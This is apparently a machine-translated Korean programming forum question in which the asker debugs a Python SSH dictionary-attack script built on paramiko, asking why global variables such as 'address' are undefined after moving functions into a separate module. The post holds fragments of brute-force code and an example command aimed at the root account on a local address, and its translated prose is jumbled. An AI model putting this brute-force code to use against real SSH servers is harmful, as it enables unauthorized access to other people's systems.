프로젝트에 대한 사전 공격 스크립트를 계속 작성합니다.Python 파일을 분리하기 위해 함수를 분리 한 후에 전역 변수가 정의되지 않았습니다.
내 스크립트는 SSH에 대한 실제 사전 공격을 수행하는 두 가지 기능을 요구합니다. 우선은 main() 함수
def get_args():
# stuff for parsing blah blah
global service, username, wordlist, address, port, delay
service = args.service
username = args.username
wordlist = args.password
address = args.address
port = args.port
delay = args.delay
return service, username, wordlist, address
def main():
service, username, wordlist, address = get_args()
# output and stuff
# SSH bruteforce
if service == 'ssh':
if address is None:
print R + "[!] You need to provide a SSH address for cracking! [!]" + W
else:
print C + "[*] Address: %s" % address + W
sleep(0.5)
global port
if port is None:
print O + "[?] Port not set. Automatically set to 22 for you [?]" + W
port = 22
print C + "[*] Port: %s " % port + W
sleep(1)
print P + "[*] Starting dictionary attack! [*]" + W
print "Using %s seconds of delay. Default is 1 second" % delay
sshBruteforce(address, username, wordlist)
라인과 sshBruteforce(address, username, wordlist)
참조 내가 함께 가져 내가 모듈로 별도의 파일에 포함하는 기능을, 다음, main.py
에서() 함수 내 get_args 내 전역 변수 선언 module1.py 내부
from module1 import *
: 문제가 발생하는 위치
# ssh_connect()
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("filename.log")
try:
ssh.connect(address, port=port, username=username, password=password)
def sshBruteforce(address, username, wordlist):
wordlist = open(wordlist, 'r')
for i in wordlist.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
# actual bruteforcing here. The above line references the ssh_connect()
# function, which is where the problem actual occurs
라인, ssh.connect(address, port=port, username=username, password=password)
이다. 이 전 스크립트과 같이 실행 해 봅시다 다음 main.py
프로그램이 sshBruteforce() 함수를 실행하면, 그러나
python main.py -u root -w wordlist.txt -s ssh -p 22 -a 192.168.1.3
이 변수
username
내의 문자열
"root"
를 저장
, 등이 발생합니다
global name 'address' is not defined
이 문제는 ssh_connect() 함수 내에서 행 ssh.connect(address, port=port, username=username, password=password)
과 함께 발생합니다. 즉, 변수 address
에는 아무 것도 저장되어 있지 않습니다. 나는 이것이 왜 발생하는지 모른다.
from __main__ import *
을 포함하여 module1.py
안에 아무 것도 바뀌지 않습니다. 나는이 많은 질문을 보았지만 아무도 내 상황과 비슷하지 않다.